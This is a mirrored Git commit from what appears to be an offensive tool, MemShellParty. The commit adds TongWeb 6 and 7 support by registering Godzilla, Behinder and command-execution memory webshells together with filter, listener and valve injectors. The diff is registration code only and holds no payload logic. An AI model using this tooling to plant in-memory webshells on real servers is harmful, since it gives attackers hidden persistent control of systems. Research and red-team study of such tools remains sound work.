mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support tongweb shell generate (resolved #11)
This commit is contained in:
@@ -0,0 +1,64 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6;
|
||||
import com.reajason.javaweb.memshell.tongweb.command.CommandValve6;
|
||||
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6;
|
||||
import com.reajason.javaweb.memshell.tongweb.injector.TongWebFilterInjector;
|
||||
import com.reajason.javaweb.memshell.tongweb.injector.TongWebListenerInjector;
|
||||
import com.reajason.javaweb.memshell.tongweb.injector.TongWebValveInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/26
|
||||
*/
|
||||
public class TongWeb6Shell extends AbstractShell {
|
||||
public static final String VALVE = "Valve";
|
||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class),
|
||||
LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class),
|
||||
VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class),
|
||||
LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class),
|
||||
VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
return Map.of(
|
||||
FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class),
|
||||
LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class),
|
||||
VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7;
|
||||
import com.reajason.javaweb.memshell.tongweb.command.CommandValve7;
|
||||
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7;
|
||||
import com.reajason.javaweb.memshell.tongweb.injector.TongWebFilterInjector;
|
||||
import com.reajason.javaweb.memshell.tongweb.injector.TongWebListenerInjector;
|
||||
import com.reajason.javaweb.memshell.tongweb.injector.TongWebValveInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/26
|
||||
*/
|
||||
public class TongWeb7Shell extends AbstractShell {
|
||||
public static final String VALVE = "Valve";
|
||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class),
|
||||
LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class),
|
||||
VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class),
|
||||
LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class),
|
||||
VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
return Map.of(
|
||||
FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class),
|
||||
LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class),
|
||||
VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -73,7 +73,8 @@ public enum Server {
|
||||
/**
|
||||
* 东方通中间件
|
||||
*/
|
||||
Tongweb(null),
|
||||
TongWeb6(new TongWeb6Shell()),
|
||||
TongWeb7(new TongWeb7Shell()),
|
||||
|
||||
/**
|
||||
* 金蝶天燕中间件
|
||||
|
||||
Reference in New Issue
Block a user